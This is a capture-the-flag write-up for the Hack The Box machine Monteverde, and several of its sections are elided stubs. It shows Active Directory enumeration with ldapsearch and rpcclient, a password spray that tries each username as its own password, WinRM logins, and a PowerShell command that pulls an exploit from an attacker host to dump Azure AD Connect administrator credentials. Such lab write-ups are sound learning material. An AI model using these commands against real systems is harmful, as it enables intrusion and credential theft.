HTB - Monteverde

Overview

<Short description to include any strange things to be dealt with>

Useful Skills and Tools

Using ldapsearch to enumerate a Windows domain

ldapsearch -H ldap://<ip>:<port> -x -LLL -s sub -b "DC=<domain>,DC=local"

Enumerating users on a Windows domain with rpcclient (without credentials)

rpcclient -U "" -N <ip>

  • rpcclient $> enumdomusers

  • rpcclient $> queryuser <user_RID>

  • rpcclient $> enumalsgroups builtin

  • rpcclient $> queryaliasmem builtin <RID>

    sid:[S-1-5-21-391775091-850290835-3566037492-1601]

  • rpcclient $> queryuser 1601

Bruteforcing SMB login with only usernames

crackmapexec smb 10.10.10.172 -u users.txt -p users.txt

Connect to a Windows computer through Windows Remote Management (WinRM)

evil-winrm -i <ip> -u <username> -p '<password>'

Use PowerShell Invoke-WebRequest (alias: wget) to download a file from a remote host

wget http://<ip>:<port>/<file_to_get> -UseBasicParsing -Outfile <file_to_save>

Useful Windows groups

  • Remote Management Users

  • Azure Admins

Enumeration

Nmap scan

I started my enumeration with an nmap scan of 10.10.10.172. The options I regularly use are: -p-, which is a shortcut which tells nmap to scan all TCP ports, -sC is the equivalent to --script=default and runs a collection of nmap enumeration scripts against the target, -sV does a service scan, and -oN <name> saves the nmap output with a filename of <name>.

At first my scan wouldn't go through until I added the -Pn flag to stop nmap from sending ICMP probes. After that it proceeded normally. This behavior seems to be more common on Windows machines, as I also encountered this on Nest and Oouch.

From these results I could see a lot of open ports! Since ports 88 - kerberos, 135 & 139 - Remote Procedure Call, 389 & 3268 - LDAP, and 445 - SMB were all open it was safe to assume that this box was running Active Directory on a Windows machine.

ldapsearch

Since I had so many options, I decided to start by enumerating Active Directory through LDAP using ldapsearch. This command is built into many linux distros and returned a wealth of information. I snipped out huge chunks of the output in order to reduce information overload as most of it was not particularly interesting in this case. Warning! The output from ldapsearch can be quite extensive, so be prepared to wade through a lot of data till you find anything useful. I have snipped out the irrelevant sections below.

The user mhope seems like a good target. He is a member of both the Remote Management Users and Azure Admins groups, which should be good for getting into the machine and escalating our privileges.

rpcclient

Next I used rpcclient to validate the information I found through LDAP using the following RPC commands: enumdomusers - enumerate domain users, queryuser <RID -or- last 4 of SID> - get details about a specific user, enumalsgroups builtin - list all available built-in groups , and queryaliasmem builtin <RID> - to get the SIDs of the members of a specific built-in group.

Interesting users/groups found

There was no interesting information in the other users other than the business divisions they worked in, but I made a list of their usernames, just in case. So far the users and groups I found were:

  • AAD_987d7f2f57d2

    • a member of the Azure Admins group

  • mhope

    • a member of both the Remote Management Users and the Azure Admins group.

  • SABatchJobs

  • svc-ata

  • svc-bexec

  • svc-netapp

  • dgalanos

    • a member of the Trading group

  • roleary

    • a member of the HelpDesk group

  • smorgan

    • a member the Operations group

I was not able to login as the most promising user, mhope, without a password, so I still had to figure out which user would give me a foothold on the machine. With no credentials found anywhere, I decided to try a different tactic. Perhaps someone had been lazy and used their username as their password. To test for this, I created a list of usernames and used this to try to login to SMB using a tool called crackmapexec. I tried each username combination until one worked. Apparently we had a lazy administrator who had created the SABatchJobs service account using the username as the password.

crackmapexec smb 10.10.10.172 -u users -p users https://github.com/byt3bl33d3r/CrackMapExec/wiki

Initial Foothold

Enumeration as user SABatchJobs 🐇

... https://docs.microsoft.com/en-us/previous-versions/windows/desktop/policy/registry-policy-file-format

found in: \MEGABANK.LOCAL\Policies{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\microsoft\Windows NT\SecEdit\GptTmpl.inf

...password policy...other than that nothing at all useful...

...again nothing...

Road to User

...mhope folder contained azure.xml...

Finding user credentials

...we have a password for `mhope`!...since mhope was a member of the Remote Management Users group...Evil-WinRM is a great tool to gain access...

user.txt

Path to Power (Gaining Administrator Access)

Enumeration as User - mhope

...Azure Admins group sounds interesting!...

Exploit research - Azure Admins group

https://www.lares.com/blog/hunting-azure-admins-for-vertical-escalation/

While this is a logical default set of permissions, the issue is in the fact that the TokenCache.dat file is a clear-text JSON file containing the AccessKey for the current session. An issue for this was submitted to the Azure github repository in June 2019.

"As the operator, by simply existing in this user’s process on their workstation, you would have the correct permissions to view and exfiltrate this file.""

searching for a way to exploit this led to https://vbscrub.com/2020/01/14/azure-ad-connect-database-exploit-priv-esc/ which led to this powershell POC https://blog.xpnsec.com/azuread-connect-for-redteam/

Privilege Escalation

had to edit the script to get it to work. (sorry...I didnt write down who or where I found the fix for this script originally, it was simply in my notes with no explanation.)

The client code at the beginning had to be edited to read:

Invoke-WebRequest = wget

Apparently this will retrieve the file, but not actually save it to disk unless you add -Outfile <filename>

Getting the Administrator credentials

Now that my exploit had been successfully transferred to the target, I was able to run it and extract the Administrator password from Azure Connect.

root.txt

With the Administrator password in hand, it was simple to login using evil-winrm and to collect the root flag.

Thanks to egre55 for creating such a unique and interesting challenge! I certainly learned a few useful new tricks, and learned that even if you don't have a password to work with, but have gotten a list of usernames, well, sometimes people are lazy and just use their username as the password!

If you like this content and would like to see more, please consider buying me a coffee!

PreviousHTB - ResoluteNextHTB - Nest

Last updated

Was this helpful?